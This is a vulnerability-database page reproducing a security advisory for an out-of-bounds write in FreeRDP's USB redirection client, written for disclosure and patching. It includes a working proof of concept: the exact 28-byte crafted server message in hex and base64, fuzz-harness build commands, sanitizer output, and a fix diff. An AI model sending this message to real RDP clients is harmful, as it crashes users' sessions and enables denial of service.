Read the docs

Out-of-bounds write in urbdrc client urb_send_current_frame_number_result

Priority MEDIUM 44CWE-617Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-h5w2-q35j-443h. Fix status from GitHub. Impact type from CWE-617.

Summary

FreeRDP versions from 3.14.0 before 3.31.0 contain an out-of-bounds write in the USB redirection client channel (urbdrc). A malicious or compromised RDP server can send a single crafted 28 byte USB redirection message that makes urb_send_current_frame_number_result write 4 bytes past a 16 byte heap allocation. In default builds the resulting assertion aborts the client, which a remote server can trigger as a denial of service. Builds with assertions disabled perform the out-of-bounds write (CWE-787), and the flaw is reachable only when USB redirection is enabled and a device is redirected.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

## Summary A malicious or compromised RDP server can make a FreeRDP client write 4 bytes past the end of a 16 byte heap allocation by sending a single 28 byte USB redirection message. `urb_send_current_frame_number_result()` in `channels/urbdrc/client/data_transfer.c` builds its response in a buffer created by `create_urb_completion_message()`. That helper allocates exactly 16 bytes and uses all 16 of them before returning. The function then writes 4 more bytes without first growing the buffer. In a default build the resulting `WINPR_ASSERT` aborts the client process. With asserts compiled out the write goes ahead and lands outside the allocation. Affected: 3.14.0 up to and including 3.30.0, and current master. Version 3.13.0 and earlier are not affected. ## Impact Two outcomes depending on how the client was built. **Default builds abort.** `WITH_VERBOSE_WINPR_ASSERT` defaults to `ON` (`cmake/CommonConfigOptions.cmake:15`), and with it enabled `winpr_internal_assert` (`winpr/include/winpr/assert-api.h:29-35`) calls `winpr_int_assert`, which ends in `abort()` (`winpr/libwinpr/crt/assert.c:30`). That path has no `NDEBUG` guard, so a `-DCMAKE_BUILD_TYPE=Release` build still aborts. The result is a remotely triggered denial of service against the client. **Builds with `WITH_VERBOSE_WINPR_ASSERT=OFF` perform the write.** The assert becomes a plain `assert()` (`assert-api.h:38`) which `NDEBUG` removes, and `Stream_Write_UINT32_unchecked` writes 4 bytes at offset 16 of a 16 byte allocation. An honest note on the second case. The value written is the constant `12`, not attacker data, so there is no controlled corruption. On glibc x86-64 a 16 byte `calloc` has a usable size of 24 bytes, so those 4 bytes land inside the allocator's own slack and in practice corrupt nothing. Allocators with tighter size classes, such as the Windows Low Fragmentation Heap 16 byte bucket, do not have that slack and the write reaches the neighbouring block. Either way it is an out-of-bounds write and AddressSanitizer reports it as one. ## Who is affected FreeRDP based clients with USB redirection enabled and a device actually redirected, for example `xfreerdp3 /usb:id:xxxx:yyyy /v:server`. USB redirection is off by default, so this does not affect a stock connection. The precondition is the same one that applied to the earlier urbdrc advisories GHSA-56f5-76qv-2r36 and GHSA-2jp4-67x6-gv7x. Servers are not affected. This is client side code only. ## The bug Three functions are involved. Line numbers are given for release 3.30.0 first, then for master, since they differ. ### Step 1: the buffer is created with room for exactly 16 bytes `create_urb_completion_message()` at `channels/urbdrc/client/data_transfer.c:69` (3.30.0 and master both) asks for a 4 byte payload area: ```c static wStream* create_urb_completion_message(UINT32 InterfaceId, UINT32 MessageId, UINT32 RequestId, UINT32 FunctionId) { wStream* out = create_shared_message_header_with_functionid(InterfaceId, MessageId, FunctionId, 4); if (!out) return nullptr; Stream_Write_UINT32(out, RequestId); return out; } ``` `create_shared_message_header_with_functionid()` at `channels/urbdrc/common/urbdrc_helpers.c:443` allocates the header plus that payload size: ```c wStream* out = Stream_New(nullptr, 12ULL + OutputSize); ``` So the allocation is 12 + 4 = 16 bytes. ### Step 2: all 16 bytes are consumed before the helper returns - `write_shared_message_header_with_functionid()` (`urbdrc_helpers.c:431`) writes InterfaceId, MessageId and FunctionId. That is 12 bytes. Position is now 12, remaining capacity is 4. - Back at `data_transfer.c:77`, `Stream_Write_UINT32(out, RequestId)` writes 4 more. Position is now 16, remaining capacity is 0. The buffer is full at the moment `create_urb_completion_message()` returns. ### Step 3: the caller writes 4 more bytes without growing it `urb_send_current_frame_number_result()` at `data_transfer.c:1366` in 3.30.0, `:1420` on master: ```c static UINT urb_send_current_frame_number_result(GENERIC_CHANNEL_CALLBACK* callback, UINT32 RequestId, UINT32 MessageId, UINT32 CompletionId, UINT32 FrameNumber) { WINPR_ASSERT(callback); const UINT32 InterfaceId = ((STREAM_ID_PROXY << 30) | CompletionId); wStream* out = create_urb_completion_message(InterfaceId, MessageId, RequestId, URB_COMPLETION_NO_DATA); if (!out) return ERROR_OUTOFMEMORY; Stream_Write_UINT32(out, 12); /** CbTsUrbResult */ <-- 3.30.0 line 1379, master line 1433 if (!write_urb_result_header(out, 12, USBD_STATUS_SUCCESS)) { Stream_Free(out, TRUE); return ERROR_OUTOFMEMORY; } Stream_Write_UINT32(out, FrameNumber); /** FrameNumber */ return send_urb_completion_message(callback, out, 0, 0, nullptr); } ``` The `CbTsUrbResult` write is the out-of-bounds one. There is no `Stream_EnsureRemainingCapacity()` call between the allocation and that write. The line immediately after it, `write_urb_result_header()` at `data_transfer.c:56`, does call `Stream_EnsureRemainingCapacity(s, 8ULL + Size)` and grows the buffer to 128 bytes. So the damage is limited to that single 4 byte write. Everything after it is in bounds. ### The two neighbouring functions get this right This looks like one missed check rather than a design decision, because the other two functions that build a result on top of `create_urb_completion_message()` both check first. `send_urb_select_configuration_result()`, at `data_transfer.c:491` in 3.30.0 and `:542` on master: ```c if (!Stream_EnsureRemainingCapacity(out, 4)) goto fail; Stream_Write_UINT32(out, usize); /* CbTsUrbResult */ ``` `urb_select_interface_result()`, at `data_transfer.c:603` in 3.30.0 and `:654` on master: ```c if (!Stream_EnsureRemainingCapacity(out, 4)) goto fail; Stream_Write_UINT32(out, usize); /* CbTsUrbResult */ ``` Three adjacent functions, same pattern, two guarded and one not. ## When this was introduced In 3.13.0 and earlier the frame number response was built inline inside `urb_get_current_frame_number()` with `out_size = 40` and its own `Stream_New()`, which was correctly sized. In 3.14.0 the code was refactored into `urb_send_current_frame_number_result()` using the shared `create_urb_completion_message()` helper, and the capacity check was not carried across. I verified the file at each release tag. The unguarded write is present in 3.14.0, 3.16.0, 3.17.0, 3.18.0, 3.19.0, 3.20.0, 3.26.0, 3.29.0, 3.30.0 and master, and absent in 3.13.0 and earlier. ## How a server reaches it The path from the wire is short and touches the redirected USB device only once, through a plain getter. 1. `urbdrc_on_data_received()` (`channels/urbdrc/client/urbdrc_main.c:659` on master) reads the 4 byte InterfaceId and falls through to the default case for any value that is not `0x00000000` or `0x40000002`. 2. `urbdrc_process_udev_data_transfer()` (`data_transfer.c:2011` on master) rewinds, re-reads InterfaceId, MessageId and FunctionId, then looks up the device at `:2032`. It requires `isChannelClosed()` to be false at `:2042` and `detach_kernel_driver()` to be true at `:2049`. On a real device `libusb_udev_detach_kernel_driver()` returns TRUE unconditionally once the device has a config and handle (`libusb/libusb_udevice.c:1097`), so that gate is not a barrier. 3. FunctionId `0x00000105` (`TRANSFER_IN_REQUEST`) dispatches to `urbdrc_process_transfer_request()` at `:2078`. 4. That reads the URB header and dispatches URB function `0x0007` (`TS_URB_GET_CURRENT_FRAME_NUMBER`) to `urb_get_current_frame_number()` at `:1789`. 5. `urb_get_current_frame_number()` requires the IN direction (`:1462` rejects OUT), reads a 4 byte OutputBufferSize which it only warns about, then calls `pdev->get_ReqCompletion(pdev)` and hands off to the result builder at `:1482`. The only device method on the whole path is `get_ReqCompletion`, which is a plain state getter generated by `BASIC_STATE_FUNC_DEFINED` at `libusb/libusb_udevice.c:1541`. It returns a value the server itself supplies earlier through a `REGISTER_REQUEST_CALLBACK` message. Nothing about the physical USB device influences the arithmetic. ## Proof of concept ### The message 28 bytes on the channel, little endian: ``` 01 00 00 00 InterfaceId = 0x00000001 00 00 00 00 MessageId = 0x00000000 05 01 00 00 FunctionId = 0x00000105 TRANSFER_IN_REQUEST 08 00 00 00 CbTsUrb = 8 08 00 TS_URB_HEADER::Size = 8 07 00 TS_URB_HEADER::Function = 0x0007 TS_URB_GET_CURRENT_FRAME_NUMBER 01 00 00 00 RequestId = 0x00000001 00 00 00 00 OutputBufferSize = 0 ``` Why each field has to be what it is: - InterfaceId must not be `0x00000000` or `0x40000002`, which route to the capability and channel notification handlers instead (`urbdrc_main.c:648`). Beyond that, on a real client the top two bits are masked off and the remainder must match the `UsbDevice` id of a device that is actually redirected (`libusb/libusb_udevman.c:381-394`), otherwise the lookup at `data_transfer.c:2032` returns NULL and the request is ignored. That id is not a secret: the client sends it to the server itself in the ADD_DEVICE message (`urbdrc_main.c:419`). The value `0x00000001` in the proof of concept above is what the test harness uses, so a server exercising this against a live client would substitute the id that client advertised. - FunctionId must be `TRANSFER_IN_REQUEST`. The OUT form returns early at `data_transfer.c:1462`. - `CbTsUrb` must equal `TS_URB_HEADER::Size` (`:1731`), and after `CbTsUrb` is read there must be at least `4 + CbTsUrb` bytes left (`:1728`). With 12 bytes remaining, 8 is the value that fits and it is also the correct header size for this URB. - Bit 31 of RequestId must be clear. It is read as `noAck` at `:1448`, and when set the function returns at `:1479` without building a response. - OutputBufferSize is read at `:1469` and only logged, so any value works. ### Harness `urbdrc_on_data_received()` is static, so the reproducer is an in-tree libFuzzer harness that includes the translation unit, the same approach `channels/rail/client/test/TestFuzzChannelRail.c` uses. It is attached as `TestFuzzChannelUrbdrc.c`. The harness supplies a stubbed `IUDEVICE` so the device lookup at `data_transfer.c:2032` returns something rather than NULL. Every stub mirrors the return values and side effects of the real libusb backend, with the mirrored `file:line` quoted in a comment above each one, so the harness cannot make a path reachable that a real device would block. For this particular bug the only stub that matters is `get_ReqCompletion`, which returns a stored `UINT32`. Install: ``` mkdir -p channels/urbdrc/client/test cp TestFuzzChannelUrbdrc.c channels/urbdrc/client/test/ printf 'set(FUZZER_NAME TestFuzzChannelUrbdrc)\n\nadd_fuzzer_test(${FUZZER_NAME} "winpr freerdp freerdp-client")\n' > channels/urbdrc/client/test/CMakeLists.txt printf '\nif(BUILD_FUZZERS)\n add_subdirectory(test)\nendif()\n' >> channels/urbdrc/client/CMakeLists.txt ``` The last line is needed because `channels/urbdrc/client/CMakeLists.txt` has no test hookup, unlike `channels/rail/client/CMakeLists.txt` which ends with those same three lines. ### Build One thing to be aware of before you try to reproduce, because it cost me a build cycle. With clang, `-DWITH_SANITIZE_ADDRESS=ON` is accepted into the cache but no sanitizer flags are added, so the overflow runs silently and the reproducer looks like it passed. See the side note at the end. Pass the flags directly instead: ``` cmake -S . -B build-asan -G Ninja \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DWITH_VERBOSE_WINPR_ASSERT=OFF \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DBUILD_SHARED_LIBS=OFF -DBUILD_FUZZERS=ON -DBUILD_TESTING_INTERNAL=ON \ -DWITH_SERVER=ON -DWITH_CLIENT=OFF -DWITH_X11=OFF -DWITH_SAMPLE=OFF \ -DWITH_PROXY=OFF -DWITH_SHADOW=OFF -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF \ -DWITH_ALSA=OFF -DWITH_PULSE=OFF -DWITH_CUPS=OFF -DWITH_FUSE=OFF \ -DWITH_AAD=OFF -DWITH_OPUS=OFF -DWITH_SYSTEMD=OFF -DWITH_UNICODE_BUILTIN=ON \ -DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF cmake --build build-asan --parallel --target fuzzers ``` `WITH_VERBOSE_WINPR_ASSERT=OFF` is what lets the write happen instead of the assert firing. Leave it at its default `ON` to see the abort instead. ### Input file The harness reads the last 4 bytes of the input as a description of the redirected device (interface count, alternate setting count, endpoint count, transfer completion fraction) and treats everything before them as the channel message. Those 4 bytes are irrelevant to this bug, since the path never queries the device shape. ``` printf '\001\000\000\000\000\000\000\000\005\001\000\000\010\000\000\000\010\000\007\000\001\000\000\000\000\000\000\000\000\000\002\377' > poc.bin ./build-asan/Testing/TestFuzzChannelUrbdrc poc.bin ``` Octal escapes rather than hex, because `/bin/sh` is dash on Debian and Kali and its `printf` does not understand `\xNN`. If you would rather not trust escape handling at all, this is the same 32 bytes as base64: ``` echo 'AQAAAAAAAAAFAQAACAAAAAgABwABAAAAAAAAAAAAAv8=' | base64 -d > poc.bin ``` The first 28 bytes on their own, which is the channel message a server would actually send, are `AQAAAAAAAAAFAQAACAAAAAgABwABAAAAAAAAAA==`. ### Output Tested on Kali GNU/Linux Rolling, Linux 6.19.14+kali-amd64 x86_64, Debian clang version 21.1.8, against commit `af31ca42933433847a002764f8f6f12fc77008ef` (version string 3.30.1-dev0). ``` ================================================================= ==2099960==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8d9b1e00e0 at pc 0x55e4535bddcd bp 0x7ffef26e4a90 sp 0x7ffef26e4a88 WRITE of size 4 at 0x7b8d9b1e00e0 thread T0 #0 in winpr_Data_Write_UINT16 winpr/include/winpr/endian.h:238:8 #1 in winpr_Data_Write_UINT32 winpr/include/winpr/endian.h:261:3 #2 in Stream_Write_UINT32_unchecked winpr/include/winpr/stream.h:1092:3 #3 in urb_send_current_frame_number_result channels/urbdrc/client/data_transfer.c:1433:2 #4 in urb_get_current_frame_number channels/urbdrc/client/data_transfer.c:1482:9 #5 in urbdrc_process_transfer_request channels/urbdrc/client/data_transfer.c:1789:12 #6 in urbdrc_process_udev_data_transfer channels/urbdrc/client/data_transfer.c #7 in urbdrc_on_data_received channels/urbdrc/client/urbdrc_main.c:659:12 #8 in LLVMFuzzerTestOneInput channels/urbdrc/client/test/TestFuzzChannelUrbdrc.c:887:10 0x7b8d9b1e00e0 is located 0 bytes after 16-byte region [0x7b8d9b1e00d0,0x7b8d9b1e00e0) allocated by thread T0 here: #0 in calloc #1 in Stream_New winpr/libwinpr/utils/stream.c:107:22 #2 in create_shared_message_header_with_functionid channels/urbdrc/common/urbdrc_helpers.c:446:17 #3 in create_urb_completion_message channels/urbdrc/client/data_transfer.c:73:6 #4 in urb_send_current_frame_number_result channels/urbdrc/client/data_transfer.c:1428:6 #5 in urb_get_current_frame_number channels/urbdrc/client/data_transfer.c:1482:9 #6 in urbdrc_process_transfer_request channels/urbdrc/client/data_transfer.c:1789:12 #7 in urbdrc_process_udev_data_transfer channels/urbdrc/client/data_transfer.c #8 in urbdrc_on_data_received channels/urbdrc/client/urbdrc_main.c:659:12 ``` The allocation trace and the write trace both pass through `urb_send_current_frame_number_result`, which makes the 16 allocated against 20 written arithmetic visible in one report. With `WITH_VERBOSE_WINPR_ASSERT` left at its default the same input gives this instead, and the process aborts: ``` [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= 4)) [winpr/include/winpr/stream.h:Stream_Write_UINT32_unchecked:1090] ``` with a matching stack through `winpr_int_assert` (`winpr/libwinpr/crt/assert.c:30`), `Stream_Write_UINT32_unchecked` (`stream.h:1090`), `urb_send_current_frame_number_result` (`data_transfer.c:1433`), `urb_get_current_frame_number` (`:1482`), `urbdrc_process_transfer_request` (`:1789`), `urbdrc_process_udev_data_transfer` (`:2078`), `urbdrc_on_data_received` (`urbdrc_main.c:659`). Only two files in the tree were modified for this test, both to add the harness: `channels/urbdrc/client/CMakeLists.txt` gained the `add_subdirectory(test)` block, and `channels/urbdrc/client/test/` was created. No FreeRDP or WinPR source file was touched. ## Suggested fix The minimal fix matches what the two neighbouring functions already do. Against master: ```diff --- a/channels/urbdrc/client/data_transfer.c +++ b/channels/urbdrc/client/data_transfer.c @@ -1427,6 +1427,12 @@ static UINT urb_send_current_frame_number_result(GENERIC_CHANNEL_CALLBACK* callb if (!out) return ERROR_OUTOFMEMORY; + if (!Stream_EnsureRemainingCapacity(out, 4)) + { + Stream_Free(out, TRUE); + return ERROR_OUTOFMEMORY; + } + Stream_Write_UINT32(out, 12); /** CbTsUrbResult */ if (!write_urb_result_header(out, 12, USBD_STATUS_SUCCESS)) { ``` On 3.30.0 the same hunk applies at line 1377, immediately after the `if (!out)` early return. If you would rather fix it at the source, `create_urb_completion_message()` could take the full payload size its caller needs instead of a hardcoded 4, so the buffer is right sized on creation. That is a larger change and touches all three callers, so the check above is probably the better one to ship now. ## Severity Proposed: Moderate. CVSS 3.1 6.5, `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` - AV:N, the attack arrives over the RDP connection. - AC:L, a single fixed 28 byte message with no state to set up. - PR:N, no credentials are needed by the attacker, who is the server. - UI:R, the user has to start the connection, and has to have USB redirection enabled with a device redirected. - A:H, the client process aborts in a default build. - C:N and I:N, since the written value is a constant and no read or controlled corruption is claimed. CWE-787 Out-of-bounds Write, with CWE-617 Reachable Assertion as a secondary, since the default build reaches the assert rather than the write. For calibration, this sits alongside CVE-2026-67303, the reachable assertion in `serial_process_irp_device_control()`, which was scored 5.3 and also required a redirection feature to be enabled. This one has the same denial of service outcome plus an out-of-bounds write in builds where the assert is compiled out. ## How this was found By fuzzing. I wrote an in-tree libFuzzer harness for the urbdrc client channel, since none exists and `ci/cmake-preloads/config-oss-fuzz.cmake` sets `CHANNEL_URBDRC` to OFF, meaning the channel is never compiled by the OSS-Fuzz builds. The seed that triggered it was a hand written `TS_URB_GET_CURRENT_FRAME_NUMBER` message, not a mutated one. Best, dutch

Why it matters now

Fix Fixed FreeRDP: 3.31.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP>= 3.14.0, <= 3.30.03.31.0Patch availableGHSA-h5w2-q35j-443h
  • FreeRDP Vendor— Affected >= 3.14.0, <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-h5w2-q35j-443h

Remediation

Upgrade FreeRDP to version 3.31.0 or later. The sources list 3.31.0 as the fixed version for FreeRDP.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-h5w2-q35j-443h FreeRDP Fixed in 3.31.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-h5w2-q35j-443h

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences